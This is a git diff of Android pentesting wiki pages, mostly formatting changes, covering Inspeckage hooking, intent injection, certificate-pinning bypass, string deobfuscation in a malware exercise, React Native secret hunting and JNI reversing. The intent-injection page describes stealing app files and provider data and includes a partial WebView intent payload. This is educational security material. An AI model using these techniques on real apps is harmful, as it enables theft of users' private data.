+![](https://miro.medium.com/max/700/0\*QUDB2ryUyIWz3nmZ.png) -Drag and drop the Inspeackage APK \(app-release.apk\) to your virtual device display to install the app. +Drag and drop the Inspeackage APK (app-release.apk) to your virtual device display to install the app. After installing, Go to Xposed Installer → Modules→ Activate the Module → reboot via adb -![](https://miro.medium.com/max/623/1*7sO6IX46hciTBUtWoyLEFQ.png) +![](https://miro.medium.com/max/623/1\*7sO6IX46hciTBUtWoyLEFQ.png) -### Dynamic Analysis with Inspeckage +### Dynamic Analysis with Inspeckage After, Successful installing of Inspeckage and Xposed Installer. Now we can hook any application with Inspeackage. To do this follow the below steps 1. Launch the Inspeckage Application from the application drawer 2. Click on the “Choose target” text and select the target application -![](https://miro.medium.com/max/700/1*J5J_rCHOC0ga0YJ5kbwqbQ.png) +![](https://miro.medium.com/max/700/1\*J5J_rCHOC0ga0YJ5kbwqbQ.png) -3. Then forward VD local-host port to main machine using adb +3\. Then forward VD local-host port to main machine using adb -```text +``` adb forward tcp:8008 tcp:8008 ``` -![](https://miro.medium.com/max/1000/1*4lEvYQBILsyr3DqTdiOzig.png) +![](https://miro.medium.com/max/1000/1\*4lEvYQBILsyr3DqTdiOzig.png) -4. Now click on the “**LAUNCH APP**” Button and then visit [`http://127.0.0.1:8008`](http://127.0.0.1:8008/) +4\. Now click on the “**LAUNCH APP**” Button and then visit [`http://127.0.0.1:8008`](http://127.0.0.1:8008) -5. Now click Turn On the button to Inspect the app. \(make sure `App is running:` status should be **True** before you “Turn On” - -![](https://miro.medium.com/max/1000/1*jCs1Qo4vlgKyb6yIGvIl4w.png) +5\. Now click Turn On the button to Inspect the app. (make sure `App is running:` status should be **True** before you “Turn On” +![](https://miro.medium.com/max/1000/1\*jCs1Qo4vlgKyb6yIGvIl4w.png) diff --git a/mobile-apps-pentesting/android-app-pentesting/intent-injection.md b/mobile-apps-pentesting/android-app-pentesting/intent-injection.md index 525c4acb..acbda62a 100644 --- a/mobile-apps-pentesting/android-app-pentesting/intent-injection.md +++ b/mobile-apps-pentesting/android-app-pentesting/intent-injection.md @@ -1,11 +1,11 @@ # Intent Injection -**Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)\*\*\*\* +**Research taken from **[**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**** ## Introduction -This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. -Many developers make **use** of this **feature** and create **proxy** **components** \(activities, broadcast receivers and services\) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. +This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. \ +Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. \ This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. {% hint style="info" %} @@ -63,22 +63,22 @@ and no security violation will arise, because t**he app that is under attack doe ## Escalation of Impact -In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** \(as the vulnerability by it's own isn't creating any risks\). +In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** (as the vulnerability by it's own isn't creating any risks). ### Escalation of attacks via Content Providers -Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers** that satisfy the following conditions: +Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers **that satisfy the following conditions: -* it must be **non-exported** \(otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article\) +* it must be** non-exported** (otherwise it **could be attacked directly**, without using the vulnerability we are discussing in this article) * it must have the **`android:grantUriPermissions`** flag set to **`true`**. * `android:grantUriPermissions="true"` indicates that your Java code can use `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION` for **any `Uri` served by that `ContentProvider`**. * `android:grantUriPermissions="false"` indicates that **only the `Uri` values specified by child ``** elements can be used with `FLAG_GRANT_READ_URI_PERMISSION` and `FLAG_GRANT_WRITE_URI_PERMISSION`. The attacker must set itself as the recipient of an embedded intent and set the following flags -* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permits persistent access to the provider \(without this flag, the access is one-time only\) +* `Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION` permits persistent access to the provider (without this flag, the access is one-time only) * `Intent.FLAG_GRANT_PREFIX_URI_PERMISSION` permits URI access by prefix – for example, instead of repeatedly obtaining separate access using a complete path such as `content://com.victim.provider/image/1` the attacker can grant access to all the provider’s content using the URI `content://com.victim.provider/` and then use `ContentResolver` to address `content://com.victim.provider/image/1`, `content://com.victim.provider/image/2`, etc. -* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permits read operations on the provider \(such as `query`, `openFile`, `openAssetFile`\) +* `Intent.FLAG_GRANT_READ_URI_PERMISSION` permits read operations on the provider (such as `query`, `openFile`, `openAssetFile`) * `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` permits write operations An example of a typical provider where an attacker can gain access to it and perform regular operations like `query`, `update`, `insert`, `delete`, `openFile`, `openAssetFile` @@ -121,7 +121,7 @@ Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream( This vulnerability also makes it possible for the attacker to **steal app files** located in directories that the developer predetermined. For a successful attack, the malign app needs to **obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver**. -Example file provider \(for more details see [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)\) +Example file provider (for more details see [https://developer.android.com/reference/android/support/v4/content/FileProvider](https://developer.android.com/reference/android/support/v4/content/FileProvider)) ```markup @@ -169,9 +169,9 @@ InputStream i = getContentResolver().openInputStream(getIntent().getData()); // ### Access to arbitrary components via WebView -An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView \(the app’s built-in browser\): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**. +An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView (the app’s built-in browser): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**. -**This vulnerability can be exploited both via other vulnerabilities** \(e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism\) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side +**This vulnerability can be exploited both via other vulnerabilities** (e.g. the ability to open arbitrary links in-app in WebView directly via exported activities or by way of the deeplink mechanism) in the client app and also remotely, including cross-site scripting on the server side or MitM on the client side Example of vulnerable code @@ -205,8 +205,8 @@ location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url= This version contains **several restrictions compared to the classic versio**n of the vulnerability: -* Embedded `Parcelable` and `Serializable` objects cannot be cast to string \(they will be ignored\) -* The insecure flags `Intent.FLAG_GRANT_READ_URI_PERMISSION` and `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` are **ignored** when `Intent.parseUri(...)` is called. The parser will only leave them if the `Intent.URI_ALLOW_UNSAFE` \(`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` flag is set, which is very rare +* Embedded `Parcelable` and `Serializable` objects cannot be cast to string (they will be ignored) +* The insecure flags `Intent.FLAG_GRANT_READ_URI_PERMISSION` and `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` are **ignored** when `Intent.parseUri(...)` is called. The parser will only leave them if the `Intent.URI_ALLOW_UNSAFE` (`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))` flag is set, which is very rare Many developers still forget to carry out a complete filtering of intents received via WebView @@ -261,7 +261,7 @@ We therefore recommend checking that an activity is exported before it is launch ### Other ways of creating insecure intents -Some app developers implement their **own intent parsers** \(often to handle **deeplinks** or push messages\), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it +Some app developers implement their **own intent parsers **(often to handle **deeplinks** or push messages), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it ```java Uri deeplinkUri = getIntent().getData(); @@ -276,4 +276,3 @@ if(deeplinkUri.toString().startsWith("deeplink://handle/")) { ## Vuln app {% embed url="https://github.com/oversecured/ovaa" %} - diff --git a/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index d0b9e1d3..ddf2adde 100644 --- a/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -4,7 +4,7 @@ Some applications don't like user downloaded certificates, so in order to inspec ## Automatic -The tool [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) will **automatically** make the necessary changes to the application to start capturing the requests and will also disable certificate pinning \(if any\). +The tool [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) will **automatically **make the necessary changes to the application to start capturing the requests and will also disable certificate pinning (if any). ## Manual @@ -24,7 +24,7 @@ After adding: ![](../../.gitbook/assets/img11.png) -Now go into the **res/xml** folder & create/modify a file named network\_security\_config.xml with the following contents: +Now go into the **res/xml** folder & create/modify a file named network_security_config.xml with the following contents: ```markup @@ -44,4 +44,3 @@ Then save the file & back out of all the directories & rebuild the apk with the ![](../../.gitbook/assets/img12.png) Finally, you need just to **sign the new application**. [Read this section of the page Smali - Decompiling/\[Modifying\]/Compiling to learn how to sign it](smali-changes.md#sing-the-new-apk). - diff --git a/mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md b/mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md index 432fdb15..ce29c7b1 100644 --- a/mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md +++ b/mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md @@ -1,6 +1,6 @@ # Manual DeObfuscation -**Copied from** [**https://maddiestone.github.io/AndroidAppRE/obfuscation.html**](https://maddiestone.github.io/AndroidAppRE/obfuscation.html) **\(you can find solutions there\)** +**Copied from **[**https://maddiestone.github.io/AndroidAppRE/obfuscation.html**](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)** (you can find solutions there)** ![Logo](https://maddiestone.github.io/AndroidAppRE/images/pinkandroid.png) @@ -10,15 +10,15 @@ The key about obfuscation to remember is that if you want to de-obfuscate it, yo The reason that you can always de-obfuscate something is because ultimately the CPU at some point has to see the unobfuscated code in order to run it. -### How to De-Obfuscate +### How to De-Obfuscate How you choose to de-obfuscate the application will depend on the obfuscation method, but there are a couple of common techniques that usually work well. Here, we will only touch on the static de-obfuscation techniques since this workshop only covers static analysis/reversing. However, do remember that running the application and dynamically analyzing it can be another great way to get around obfuscation. -For obfuscation in the DEX bytecode \(Java\), one of the easiest ways to statically deobfuscate is to identify the de-obfuscation methods in the application and copy their decompilation into a Java file that you then run on the obfuscated file, strings, code, etc. +For obfuscation in the DEX bytecode (Java), one of the easiest ways to statically deobfuscate is to identify the de-obfuscation methods in the application and copy their decompilation into a Java file that you then run on the obfuscated file, strings, code, etc. Another solution for both Java and Native Code is to transliterate the de-obfuscation algorithm into Python or any other scripting language that you’re most comfortable. I say “transliterate” because it’s important to remember that you don’t always need to \*understand\* the de-obfuscation algorithm, you just need a way to execute it. I cover this in more detail in the “Unpacking the Packed Unpacker” talk that is linked in the “More Examples” section. -### Indicators of Obfuscation +### Indicators of Obfuscation There are many different types of obfuscation and thus, just as many different types of indicators to alert you as the analyst that an application is likely obfuscated, but here are a few examples with proposed static analysis solutions for deobfuscating. @@ -26,41 +26,41 @@ There are many different types of obfuscation and thus, just as many different t * Suggested solution: Look for method calls that take strings as an argument and trace back where that argument is coming from. At some point the string argument will be going through a deobfuscation method before it’s passed to the API that takes the String argument. * Scrambled strings: The Java and Android APIs require the plain text strings, not scrambled. * Suggested solution: The scrambled strings are all likely passed to the same methods prior to being passed to the APIs. These methods are likely the deobfuscation methods. -* Binary files in the assets/ directory and DexClassLoader calls in the app: Likely unpacking and loading additional code. \(Could also be downloading from a remote location and then loading using DexClassLoader\) +* Binary files in the assets/ directory and DexClassLoader calls in the app: Likely unpacking and loading additional code. (Could also be downloading from a remote location and then loading using DexClassLoader) * Suggestion Solution: Identify where the file is read and then follow the path. It is likely deobfuscated quickly after being read. -* Native libraries - Can’t identify the JNI functions \(no funcs named Java\_ and no calls to RegisterNatives\): In order to execute any native methods, JNI has to be able to pair the function in the native library with the native method declaration in Java and thus one of the two must exist at some point. - * Suggested Solution: Start at JNI\_OnLoad method and look for a de-obfuscation routine that loads additional code. +* Native libraries - Can’t identify the JNI functions (no funcs named Java\_ and no calls to RegisterNatives): In order to execute any native methods, JNI has to be able to pair the function in the native library with the native method declaration in Java and thus one of the two must exist at some point. + * Suggested Solution: Start at JNI_OnLoad method and look for a de-obfuscation routine that loads additional code. -### Exercise 7 - String Deobfuscation +### Exercise 7 - String Deobfuscation In this exercise, we will practice de-obfuscating strings in order to analyze an application. For the exercise we will use the sample at `~/samples/ClashOfLights.apk` in the VM. This sample has the SHA256 digest c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5. -#### Goals +#### Goals To identify obfuscated strings and develop a solution to deobfuscate it. -#### Exercise Context +#### Exercise Context You are a malware analyst reviewing this application to determine if it’s malware. You come across an obfuscated Javascript string that is being loaded and need to deobfuscate it to determine whether or not the application is malicious. You can’t run the application dynamically and need to determine what the Javascript is statically. -#### Instructions +#### Instructions 1. Find the string that you need to de-obfuscate 2. Identify the routine that de-obfuscates it. 3. Determine how you want to write a solution to de-obfuscate the string. -4. Do it :\) +4. Do it :) -#### Solution +#### Solution The deobfuscated string is: -```text +``` ``` The Python script I wrote to de-obfuscate it is: -```text +``` enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C" length = len(enc_str) @@ -82,12 +82,11 @@ while (count < length): print ''.join(dec_str) ``` -### More Examples +### More Examples I have done a few talks on de-obfuscating Android apps that include a variety of obfuscation mechanisms. In these talks, I discuss the advanced obfuscation techniques, my solution to de-obfuscate them, and the considerations and choices I made when deciding how I wanted to deobfuscate. -* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)\] +* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)] * This talk goes over reverse engineering one of the most complex anti-analysis native libraries I’ve seen used by an Android application. It covers mostly obfuscation techniques in native code. -* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)\] +* REcon 2019: “The Path to the Payload: Android Edition” \[[video](https://recon.cx/media-archive/2019/Session.005.Maddie_Stone.The_path_to_the_payload_Android_Edition-J3ZnNl2GYjEfa.mp4)] * This talk discusses a series of obfuscation techniques, solely in Java code, that an Android botnet was using to hide its behavior. - diff --git a/mobile-apps-pentesting/android-app-pentesting/react-native-application.md b/mobile-apps-pentesting/android-app-pentesting/react-native-application.md index acd246ad..c883dfdf 100644 --- a/mobile-apps-pentesting/android-app-pentesting/react-native-application.md +++ b/mobile-apps-pentesting/android-app-pentesting/react-native-application.md @@ -1,22 +1,22 @@ # React Native Application -**Information copied from** [**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)\*\*\*\* +**Information copied from **[**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)**** -React Native is a **mobile application framework** that is most commonly used to develop applications for **Android** and **iOS** by enabling the use of React and native platform capabilities. These days, it’s become increasingly popular to use React across platforms. +React Native is a **mobile application framework** that is most commonly used to develop applications for **Android** and **iOS** by enabling the use of React and native platform capabilities. These days, it’s become increasingly popular to use React across platforms.\ But most of the time, the core logic of the application lies in the React Native **JavaScript that can be obtained** without needing to use dex2jar. ### **Step-1**: Let’s confirm whether the application was built on React Native framework. To check this, rename the APK with zip extension and then extract the APK to a new folder using the following command -```text +``` cp com.example.apk example-apk.zip unzip -qq example-apk.zip -d ReactNative ``` Browse to the newly created `ReactNative` folder, and find the `assets` folder. Inside this folder, it should contain `index.android.bundle`. This file will contain all of the React JavaScript in a **minified format.**React Native Reverse Engineering -![Image for post](https://miro.medium.com/max/1559/1*enjF2H7PclRAIcNCxDIOJw.png) +![Image for post](https://miro.medium.com/max/1559/1\*enjF2H7PclRAIcNCxDIOJw.png) ### **Step-2**: Creating a file named `index.html` in the same directory with the following code in it. @@ -26,9 +26,9 @@ You can upload the file to [https://spaceraccoon.github.io/webpack-exploder/](ht ``` -![Image for post](https://miro.medium.com/max/1526/1*Qrg2jrXF8UxwbbRJJVWmRw.png) +![Image for post](https://miro.medium.com/max/1526/1\*Qrg2jrXF8UxwbbRJJVWmRw.png) -Open the **index.html** file in **Google Chrome**. Open up the Developer Toolbar \(**Command+Option+J for OS X or Control+Shift+J for Windows**\), and click on “Sources”. You should see a JavaScript file, split up into folders and files that make up the main bundle. +Open the **index.html** file in **Google Chrome**. Open up the Developer Toolbar (**Command+Option+J for OS X or Control+Shift+J for Windows**), and click on “Sources”. You should see a JavaScript file, split up into folders and files that make up the main bundle. > If you are able to find a file called `index.android.bundle.map`, you will be able to analyze the source code in an unminified format. `map` files contain the source mapping that allows you to map minified identifiers. @@ -36,7 +36,6 @@ Open the **index.html** file in **Google Chrome**. Open up the Developer Toolbar In this phase, you have to identify the **sensitive keywords** to analyze the **Javascript** code. A pattern that is popular with React Native applications, is the use of a third party services like such as Firebase, AWS s3 service endpoints, private keys etc., -During my initial **recon process**, I have observed the application using the Dialogflow service. So based on this, I have searched a pattern related to its configuration. Fortunately, I was able to find **sensitive hard-coded credentials** in the Javascript code. - -![Image for post](https://miro.medium.com/max/2086/1*RAToFnqpp9ndM0lBeMlz6g.png) +During my initial **recon process**, I have observed the application using the Dialogflow service. So based on this, I have searched a pattern related to its configuration. Fortunately, I was able to find** sensitive hard-coded credentials** in the Javascript code. +![Image for post](https://miro.medium.com/max/2086/1\*RAToFnqpp9ndM0lBeMlz6g.png) diff --git a/mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md b/mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md index 17c012ca..65ddfd43 100644 --- a/mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -1,42 +1,42 @@ # Reversing Native Libraries -**Information copied from** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html) **\(you can find solutions there\)** +**Information copied from **[**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)** (you can find solutions there)** Android applications can contain compiled, native libraries. Native libraries are code that the developer wrote and then compiled for a specific computer architecture. Most often, this means code that is written in C or C++. The benign, or legitimate, reasons a developer may do this is for mathematically intensive or time sensitive operations, such as graphics libraries. Malware developers have begun moving to native code because reverse engineering compiled binaries tends to be a less common skillset than analyzing DEX bytecode. This is largely due to DEX bytecode can be decompiled to Java whereas native, compiled code, often must be analyzed as assembly. ### Goal -The goal of this section is not to teach you assembly \(ASM\) or how to reverse engineer compiled code more generally, but instead how to apply the more general binary reverse engineering skills, specifically to Android. Because the goal of this workshop is not to teach you the ASM architectures, all exercises will include an ARM _and_ an x86 version of the library to be analyzed so that each person can choose the architecture that they are more comfortable with. +The goal of this section is not to teach you assembly (ASM) or how to reverse engineer compiled code more generally, but instead how to apply the more general binary reverse engineering skills, specifically to Android. Because the goal of this workshop is not to teach you the ASM architectures, all exercises will include an ARM _and_ an x86 version of the library to be analyzed so that each person can choose the architecture that they are more comfortable with. -#### Learning ARM Assembly +#### Learning ARM Assembly If you don’t have previous binary reverse engineering/ assembly experience, here are some suggested resources. Most Android devices run on ARM, but all exercises in this workshop also include an x86 version of the library. -To learn and/or review ARM assembly, I highly suggest the [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) from [Azeria Labs](https://azeria-labs.com/). +To learn and/or review ARM assembly, I highly suggest the [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) from [Azeria Labs](https://azeria-labs.com). -### Introduction to the Java Native Interface \(JNI\) +### Introduction to the Java Native Interface (JNI) -The Java Native Interface \(JNI\) allows developers to declare Java methods that are implemented in native code \(usually compiled C/C++\). JNI interface is not Android-specific, but is available more generally to Java applications that run on different platforms. +The Java Native Interface (JNI) allows developers to declare Java methods that are implemented in native code (usually compiled C/C++). JNI interface is not Android-specific, but is available more generally to Java applications that run on different platforms. -The Android Native Development Kit \(NDK\) is the Android-specific toolset on top of JNI. According to the [docs](https://developer.android.com/ndk/guides): +The Android Native Development Kit (NDK) is the Android-specific toolset on top of JNI. According to the [docs](https://developer.android.com/ndk/guides): -> In Android, the Native Development Kit \(NDK\) is a toolset that permits developers to write C and C++ code for their Android apps. +> In Android, the Native Development Kit (NDK) is a toolset that permits developers to write C and C++ code for their Android apps. -Together, JNI and NDK allow Android developers to implement some of their app’s functionality in native code. The Java \(or Kotlin\) code will call a Java-declared native method which is implemented in the compiled, native library. +Together, JNI and NDK allow Android developers to implement some of their app’s functionality in native code. The Java (or Kotlin) code will call a Java-declared native method which is implemented in the compiled, native library. -#### References +#### References **Oracle JNI Docs** * [JNI Specification](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) -* [JNI Functions](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html) <– I always have this one open and refer to it while reversing Android native libraries +* [JNI Functions](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html) <– I always have this one open and refer to it while reversing Android native libraries **Android JNI & NDK References** -* [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) <– Highly suggest reading the “Native Libraries” section to start -* [Getting Started with the NDK](https://developer.android.com/ndk/guides/) <– This is guidance for how developers develop native libraries and understanding how things are built, makes it easier to reverse. +* [Android JNI Tips](https://developer.android.com/training/articles/perf-jni) <– Highly suggest reading the “Native Libraries” section to start +* [Getting Started with the NDK](https://developer.android.com/ndk/guides/) <– This is guidance for how developers develop native libraries and understanding how things are built, makes it easier to reverse. -### Target of Analysis - Android Native Libraries +### Target of Analysis - Android Native Libraries For this section, we are focusing on how to reverse engineer app functionality that has been implemented in Android native libraries. When we say Android native libraries, what do we mean? @@ -46,41 +46,41 @@ These libraries by default are included in the APK at the file path `/lib// Because native code is compiled for specific CPUs, if a developer wants their app to run on more than 1 type of hardware, they have to include each of those versions of the compiled, native library in the application. The default path mentioned above, includes a directory for each cpu type officially supported by Android. -| CPU | Native Library Path | -| :--- | :--- | -| “generic” 32-bit ARM | `lib/armeabi/libcalc.so` | -| x86 | `lib/x86/libcalc.so` | -| x64 | `lib/x86_64/libcalc.so` | -| ARMv7 | `lib/armeabi-v7a/libcalc.so` | -| ARM64 | `lib/arm64-v8a/libcalc.so` | +| CPU | Native Library Path | +| -------------------- | ---------------------------- | +| “generic” 32-bit ARM | `lib/armeabi/libcalc.so` | +| x86 | `lib/x86/libcalc.so` | +| x64 | `lib/x86_64/libcalc.so` | +| ARMv7 | `lib/armeabi-v7a/libcalc.so` | +| ARM64 | `lib/arm64-v8a/libcalc.so` | -### Loading the Library +### Loading the Library -Before an Android app can call and execute any code that is implemented in a native library, the application \(Java code\) must load the library into memory. There are two different API calls that will do this: +Before an Android app can call and execute any code that is implemented in a native library, the application (Java code) must load the library into memory. There are two different API calls that will do this: -```text +``` System.loadLibrary("calc") ``` or -```text +``` System.load("lib/armeabi/libcalc.so") ``` -The difference between the two api calls is that `loadLibrary` only take takes the library short name as an argument \(ie. libcalc.so = “calc” & libinit.so = “init”\) and the system will correctly determine the architecture it’s currently running on and thus the correct file to use. On the other hand, `load` requires the full path to the library. This means that the app developer has to determine the architecture and thus the correct library file to load themselves. +The difference between the two api calls is that `loadLibrary` only take takes the library short name as an argument (ie. libcalc.so = “calc” & libinit.so = “init”) and the system will correctly determine the architecture it’s currently running on and thus the correct file to use. On the other hand, `load` requires the full path to the library. This means that the app developer has to determine the architecture and thus the correct library file to load themselves. -When either of these two \(`loadLibrary` or `load`\) APIs are called by the Java code, the native library that is passed as an argument executes its `JNI_OnLoad` if it was implemented in the native library. +When either of these two (`loadLibrary` or `load`) APIs are called by the Java code, the native library that is passed as an argument executes its `JNI_OnLoad` if it was implemented in the native library. To reiterate, before executing any native methods, the native library has to be loaded by calling `System.loadLibrary` or `System.load` in the Java code. When either of these 2 APIs is executed, the `JNI_OnLoad` function in the native library is also executed. -### The Java to Native Code Connection +### The Java to Native Code Connection -In order to execute a function from the native library, there must be a Java-declared native method that the Java code can call. When this Java-declared native method is called, the “paired” native function from the native library \(ELF/.so\) is executed. +In order to execute a function from the native library, there must be a Java-declared native method that the Java code can call. When this Java-declared native method is called, the “paired” native function from the native library (ELF/.so) is executed. A Java-declared native method appears in the Java code as below. It appears like any other Java method, except it includes the `native` keyword and has no code in its implementation, because its code is actually in the compiled, native library. -```text +``` public native String doThingsInNativeLibrary(int var0); ``` @@ -91,7 +91,7 @@ There are 2 different ways to do this pairing, or linking: 1. Dynamic Linking using JNI Native Method Name Resolving, or 2. Static Linking using the `RegisterNatives` API call -#### Dynamic Linking +#### Dynamic Linking In order to link, or pair, the Java declared native method and the function in the native library dynamically, the developer names the method and the function according to the specs such that the JNI system can dynamically do the linking. @@ -99,29 +99,29 @@ According to the spec, the developer would name the function as follow for the s 1. the prefix Java\_ 2. a mangled fully-qualified class name -3. an underscore \(“\_”\) separator +3. an underscore (“\_”) separator 4. a mangled method name -5. for overloaded native methods, two underscores \(“\_\_”\) followed by the mangled argument signature +5. for overloaded native methods, two underscores (“\__”) followed by the mangled argument signature In order to do dynamic linking for the Java-declared native method below and let’s say it’s in the class `com.android.interesting.Stuff` -```text +``` public native String doThingsInNativeLibrary(int var0); ``` The function in the native library would need to be named: -```text +``` Java_com_android_interesting_Stuff_doThingsInNativeLibrary ``` If there is not a function in the native library with that name, that means that the application must be doing static linking. -#### Static Linking +#### Static Linking -If the developer doesn’t want to or can not name the native functions according to the spec \(Ex. wants to strip debug symbols\), then they must use static linking with the `RegisterNatives` \([doc](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html#wp5833)\) API in order to do the pairing between the Java-declared native method and the function in the native library. The `RegisterNatives` function is called from the native code, not the Java code and is most often called in the `JNI_OnLoad` function since `RegisterNatives` must be executed prior to calling the Java-declared native method. +If the developer doesn’t want to or can not name the native functions according to the spec (Ex. wants to strip debug symbols), then they must use static linking with the `RegisterNatives` ([doc](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html#wp5833)) API in order to do the pairing between the Java-declared native method and the function in the native library. The `RegisterNatives` function is called from the native code, not the Java code and is most often called in the `JNI_OnLoad` function since `RegisterNatives` must be executed prior to calling the Java-declared native method. -```text +``` jint RegisterNatives(JNIEnv *env, jclass clazz, const JNINativeMethod *methods, jint nMethods); typedef struct { @@ -148,51 +148,51 @@ The `JNINativeMethod` struct requires the method signature. A method signature s * F: float * D: double * L fully-qualified-class ; :fully-qualified-class -* \[ type: type\[\] -* \( arg-types \) ret-type: method type +* \[ type: type\[] +* ( arg-types ) ret-type: method type * V: void For the native method -```text +``` public native String doThingsInNativeLibrary(int var0); ``` The type signature is -```text +``` (I)Ljava/lang/String; ``` Here’s another example of a native method and its signature. For the following is the method declaration -```text +``` public native long f (int n, String s, int[] arr); ``` It has the type signature: -```text +``` (ILjava/lang/String;[I)J ``` -#### Exercise \#5 - Find the Address of the Native Function +#### Exercise #5 - Find the Address of the Native Function -In Exercise \#5 we’re going to learn to load native libraries in a disassembler and identify the native function that is executed when a native method is called. For this particular exercise, the goal is not to reverse engineer the native method, just to find the link between the call to the native method in Java and the function that is executed in the native library. For this exercise, we will be using the sample Mediacode.apk. This sample is available at `~/samples/Mediacode.apk` in the VM. Its SHA256 